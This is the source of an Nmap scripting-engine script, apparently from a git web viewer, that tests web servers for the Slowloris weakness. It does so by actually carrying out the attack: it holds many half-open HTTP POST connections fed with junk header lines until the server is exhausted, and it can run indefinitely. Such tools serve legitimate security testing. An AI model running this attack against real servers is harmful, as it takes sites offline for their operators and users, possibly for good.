summaryrefslogtreecommitdiffstats
path: root/scripts/http-slowloris.nse
blob: 87584e06b6ebd790ae241928ddcd5ea3aa666f79 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
local coroutine = require "coroutine"
local datetime = require "datetime"
local math = require "math"
local nmap = require "nmap"
local os = require "os"
local shortport = require "shortport"
local stdnse = require "stdnse"
local http = require "http"
local comm = require "comm"

description = [[
Tests a web server for vulnerability to the Slowloris DoS attack by launching a Slowloris attack.

Slowloris was described at Defcon 17 by RSnake
(see http://ha.ckers.org/slowloris/).

This script opens and maintains numerous 'half-HTTP' connections until
the server runs out of resources, leading to a denial of service. When
a successful DoS is detected, the script stops the attack and returns
these pieces of information (which may be useful to tweak further
filtering rules):
* Time taken until DoS
* Number of sockets used
* Number of queries sent
By default the script runs for 30 minutes if DoS is not achieved.

Please note that the number of concurrent connexions must be defined
with the <code>--max-parallelism</code> option (default is 20, suggested
is 400 or more) Also, be advised that in some cases this attack can
bring the web server down for good, not only while the attack is
running.

Also, due to OS limitations, the script is unlikely to work
when run from Windows.
]]

---
-- @usage
-- nmap --script http-slowloris --max-parallelism 400  <target>
--
-- @args http-slowloris.runforever Specify that the script should continue the
-- attack forever. Defaults to false.
-- @args http-slowloris.send_interval Time to wait before sending new http header datas
-- in order to maintain the connection. Defaults to 100 seconds.
-- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30
-- minutes default).
--
-- @output
-- PORT     STATE SERVICE REASON  VERSION
-- 80/tcp   open  http    syn-ack Apache httpd 2.2.20 ((Ubuntu))
-- | http-slowloris:
-- |   Vulnerable:
-- |   the DoS attack took +2m22s
-- |   with 501 concurrent connections
-- |_  and 441 sent queries
--
-- @see http-slowloris-check.nse

author = {"Aleksandar Nikolic", "Ange Gutek"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"dos", "intrusive"}


portrule = shortport.http

local SendInterval
local TimeLimit
local end_time

-- this will save the amount of still connected threads
local ThreadCount = 0
-- the maximum amount of sockets during the attack. This could be lower than the
-- requested concurrent connections because of the webserver configuration (eg
-- maxClients on Apache)
local Sockets = 1
-- this will save the amount of new lines sent to the half-http requests until
-- the target runs out of ressources
local Queries = 0

local ServerNotice
local DOSed = false
local StopAll = false
local Reason = "slowloris" -- DoSed due to slowloris attack or something else
local Bestopt


local function timeout_occured()
  if nmap.clock_ms() < end_time or TimeLimit == nil then
    return false
  else
    StopAll = true
    return true
  end
end

-- get time (in milliseconds) when the script should finish
local function get_end_time()
  if TimeLimit == nil then
    return -1
  end
  return 1000 * TimeLimit + nmap.clock_ms()
end

-- set Time interval for threads to sleep
local function set_SendInterval()
  SendInterval = math.min(SendInterval, (end_time - nmap.clock_ms())/1000)
end

local function set_parameters()
  SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
  if stdnse.get_script_args('http-slowloris.runforever') then
    TimeLimit = nil
  else
    TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
  end
end

local function do_half_http(host, port, obj)
  local condvar = nmap.condvar(obj)

  if timeout_occured() then
    condvar("signal")
    return
  end

  -- Create socket
  local slowloris = nmap.new_socket()
  slowloris:set_timeout(math.min(200 * 1000, end_time - nmap.clock_ms())) -- Set a long timeout so our socket doesn't timeout while it's waiting. At the same time left for script execution is maximum limit.

  ThreadCount = ThreadCount + 1
  local catch = function()
    -- This connection is now dead
    ThreadCount = ThreadCount - 1
    stdnse.debug1("[HALF HTTP]: lost connection")
    slowloris:close()
    slowloris = nil
    condvar("signal")
    return
  end

  local try = nmap.new_try(catch)
  try(slowloris:connect(host.ip, port, Bestopt))

  if timeout_occured() then
    ThreadCount = ThreadCount - 1
    condvar("signal")
    return
  end

  -- Build a half-http header.
  local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
    "Host: " .. host.ip .. "\r\n" ..
    "User-Agent: " .. http.USER_AGENT .. "\r\n" ..
    "Content-Length: 42\r\n"

  try(slowloris:send(half_http))

  if timeout_occured() then
    ThreadCount = ThreadCount - 1
    condvar("signal")
    return
  end

  ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
  -- During the attack some connections will die and other will respawn.
  -- Here we keep in mind the maximum concurrent connections reached.

  if Sockets <= ThreadCount then Sockets = ThreadCount end

  -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
  while true do
    if timeout_occured() then
      break
    end
    --Setting global SendInterval before and then passing it to sleep has been
    --done so as to ensure the most updated SendInterval is assigned
    --NOTE: Effective for large number of threads
    set_SendInterval()
    stdnse.sleep(SendInterval)
    --Since sleep time could be big so check is made again for timeout
    if timeout_occured() then
      break
    end
    try(slowloris:send("X-a: b\r\n"))
    Queries = Queries + 1
    ServerNotice = ("(attack against %s): Feeding HTTP stream...\n(attack against %s): %d queries sent using %d connections."):format(
      host.ip, host.ip, Queries, ThreadCount)
  end
  slowloris:close()
  ThreadCount = ThreadCount - 1
  condvar("signal")
end


-- Monitor the web server
local function do_monitor(host, port)
  local general_faults = 0
  local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server

  stdnse.debug1("[MONITOR]: Monitoring " .. host.ip .. " started")

  local request = "GET / HTTP/1.1\r\n" ..
    "Host: " .. host.ip ..
    "\r\nUser-Agent: " .. http.USER_AGENT .. "\r\n\r\n"
  local opts = {}
  local sd,_

  sd, _, Bestopt = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n", opts) -- first determine if we need ssl
  if sd then sd:close() end

  while not StopAll do
    local monitor = nmap.new_socket()
    local status  = monitor:connect(host.ip, port, Bestopt)
    if not status then
      general_faults = general_faults + 1
      if general_faults > 3 then
        Reason = "not-slowloris"
        DOSed = true
        break
      end
    else
      status = monitor:send(request)
      if not status then
        general_faults = general_faults + 1
        if general_faults > 3 then
          Reason = "not-slowloris"
          DOSed = true
          break
        end
      end
      status, _ = monitor:receive_lines(1)
      if not status then
        stdnse.debug1("[MONITOR]: Didn't get a reply from " .. host.ip  .. "." )
        monitor:close()
        request_faults = request_faults +1
        if request_faults > 3 then
          if TimeLimit then
            stdnse.debug1("[MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
            DOSed = true
          end
          monitor:close()
          break
        end
      else
        request_faults = 0
        general_faults = 0
        stdnse.debug1("[MONITOR]: ".. host.ip .." still up, answer received.")
        stdnse.sleep(10)
        monitor:close()
      end
      if timeout_occured() then
        break
      end
    end
  end
end

local Mutex = nmap.mutex("http-slowloris")

local function worker_scheduler(host, port)
  local Threads = {}
  local obj = {}
  local condvar = nmap.condvar(obj)
  local i

  for i = 1, 1000 do
    -- The real amount of sockets is triggered by the
    -- '--max-parallelism' option. The remaining threads will replace
    -- dead sockets during the attack
    local co = stdnse.new_thread(do_half_http, host, port, obj)
    Threads[co] = true
  end

  while not DOSed and not StopAll do
    -- keep creating new threads, in case we want to run the attack indefinitely
    repeat
      if timeout_occured() then
        return
      end

      for thread in pairs(Threads) do
        if coroutine.status(thread) == "dead" then
          Threads[thread] = nil
        end
        if timeout_occured() then
          return
        end
      end
      stdnse.debug1("[SCHEDULER]: starting new thread")
      local co = stdnse.new_thread(do_half_http, host, port, obj)
      Threads[co] = true
      if ( next(Threads) ) then
        condvar("wait")
      end
    until next(Threads) == nil;
  end
end

action = function(host, port)

  Mutex("lock") -- we want only one slowloris instance running at a single
  -- time even if multiple hosts are specified
  -- in order to have as many sockets as we can available to
  -- this script

  set_parameters()

  local output = {}
  local start, stop, dos_time

  start = os.date("!*t")
  -- The first thread is for monitoring and is launched before the attack threads
  stdnse.new_thread(do_monitor, host, port)
  stdnse.sleep(2) -- let the monitor make the first request

  stdnse.debug1("[MAIN THREAD]: starting scheduler")
  stdnse.new_thread(worker_scheduler, host, port)
  end_time = get_end_time()
  local last_message
  if TimeLimit == nil then
    stdnse.debug1("[MAIN THREAD]: running forever!")
  end

  -- return a live notice from time to time
  while not timeout_occured() and not StopAll do
    if ServerNotice ~= last_message then
      -- don't flood the output by repeating the same info
      stdnse.debug1("[MAIN THREAD]: " .. ServerNotice)
      last_message = ServerNotice
    end
    if DOSed and TimeLimit ~= nil then
      break
    end
    stdnse.sleep(10)
  end

  stop = os.date("!*t")
  dos_time = datetime.format_difftime(stop, start)
  if DOSed then
    if Reason == "slowloris" then
      stdnse.debug2("Slowloris Attack stopped, building output")
      output = "Vulnerable:\n" ..
        "the DoS attack took "..
        dos_time .. "\n" ..
        "with ".. Sockets .. " concurrent connections\n" ..
        "and " .. Queries .." sent queries"
    else
      stdnse.debug2("Slowloris Attack stopped. Monitor couldn't communicate with the server.")
      output = "Probably vulnerable:\n" ..
        "the DoS attack took " .. dos_time .. "\n" ..
        "with " .. Sockets .. " concurrent connections\n" ..
        "and " .. Queries .. " sent queries\n" ..
        "Monitoring thread couldn't communicate with the server. " ..
        "This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
    end
    Mutex("done") -- release the mutex
    return stdnse.format_output(true, output)
  end
  Mutex("done") -- release the mutex
  return false
end